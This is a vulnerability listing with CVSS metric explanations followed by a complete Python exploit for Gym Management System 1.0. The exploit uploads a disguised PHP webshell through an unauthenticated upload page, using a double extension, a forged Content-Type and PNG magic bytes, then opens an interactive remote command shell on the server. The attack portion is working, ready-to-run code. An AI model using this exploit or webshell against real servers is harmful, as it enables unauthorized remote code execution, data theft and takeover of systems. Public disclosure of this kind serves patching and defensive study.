The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Gym Management System 1.0 Remote Code Execution
# Exploit Title: Gym Management System v1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: May 21th, 2020
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Tested Using: Python 2.7.17
# Vulnerability Description:
# Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# Exploit Details:
# 1. Access the '/upload.php' page, as it does not check for an authenticated user session.
# 2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
# - `upload.php?id=kamehameha`
# /upload.php:
# 4 $user = $_GET['id'];
# 34 move_uploaded_file($_FILES["file"]["tmp_name"],
# 35 "upload/". $user.".".$ext);
# 3. Bypass the extension whitelist by adding a double extension, with the last one as an acceptable extension (png).
# /upload.php:
# 5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
# 6 $extension = @end(explode(".", $_FILES["file"]["name"]));
# 14 && in_array($extension, $allowedExts))
# 4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to 'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
# 7 if(isset($_POST['pupload'])){
# 8 if ((($_FILES["file"]["type"] == "image/gif")
# 11 || ($_FILES["file"]["type"] == "image/png")
# 5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
# <?php echo shell_exec($_GET["telepathy"]); ?>
# 6. The Web Application will rename the file to have the extension with the second item in an array created from the file name; seperated by the '.' character.
# 30 $pic=$_FILES["file"]["name"];
# 31 $conv=explode(".",$pic);
# 32 $ext=$conv['1'];
# - Our uploaded file name was 'kaio-ken.php.png'. Therefor $conv['0']='kaio-ken'; $conv['1']='php'; $conv['2']='png';
# 7. Communicate with the webshell at '/upload.php?id=kamehameha' using GET Requests with the telepathy parameter.
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET
def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG
if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
sys.exit(-1)
SERVER_URL = sys.argv[1]
UPLOAD_DIR = 'upload.php?id=kamehameha'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
s = requests.Session()
s.get(SERVER_URL, verify=False)
PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png = {
'file':
(
'kaio-ken.php.png',
PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
webshell(SERVER_URL, s)
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